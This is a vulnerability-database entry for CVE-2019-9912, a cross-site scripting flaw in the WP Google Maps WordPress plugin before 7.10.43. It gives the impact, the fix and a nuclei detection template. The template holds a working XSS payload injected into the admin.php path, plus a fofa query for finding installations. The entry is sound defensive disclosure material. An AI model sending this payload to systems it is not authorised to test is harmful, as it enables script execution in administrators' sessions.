HexBrain

Browse / CVEs / CVE-2019-9912

CVE-2019-9912· codecabin / wp go maps· CWE-79

WP Google Maps < 7.10.43 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The wp-google-maps plugin before 7.10.43 for WordPress has XSS via the wp-admin/admin.php PATH_INFO.

Impact

Attackers can execute arbitrary scripts in the admin context, potentially leading to session hijacking or privilege escalation.

Fix

Update to version 7.10.43 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/wp-google-maps"
Send: GET {{BaseURL}}/wp-admin/admin.php/'"><img src=x onerror=alert(document.domain)>?page=wp-google-maps-menu&action=foo
Positive when: contains "><img src=x onerror=alert(document.domain)>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-9912 -u <target>

The full check
id: CVE-2019-9912

info:
  name: WP Google Maps < 7.10.43 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The wp-google-maps plugin before 7.10.43 for WordPress has XSS via the wp-admin/admin.php PATH_INFO.
  impact: |
    Attackers can execute arbitrary scripts in the admin context, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 7.10.43 or later.
  reference:
    - https://lists.openwall.net/full-disclosure/2019/02/05/13
    - https://security-consulting.icu/blog/2019/02/wordpress-wpgooglemaps-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9912
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-9912
    cwe-id: CWE-79
    epss-score: 0.03137
    epss-percentile: 0.87998
    cpe: cpe:2.3:a:wpgmaps:wp_go_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/wp-google-maps"
    vendor: codecabin
    product: wp_go_maps
  tags: cve,cve2019,wp,wp-plugin,wordpress,xss,wp-go-maps,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/wp-google-maps"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php/'\"><img src=x onerror=alert(document.domain)>?page=wp-google-maps-menu&action=foo"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(document.domain)>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from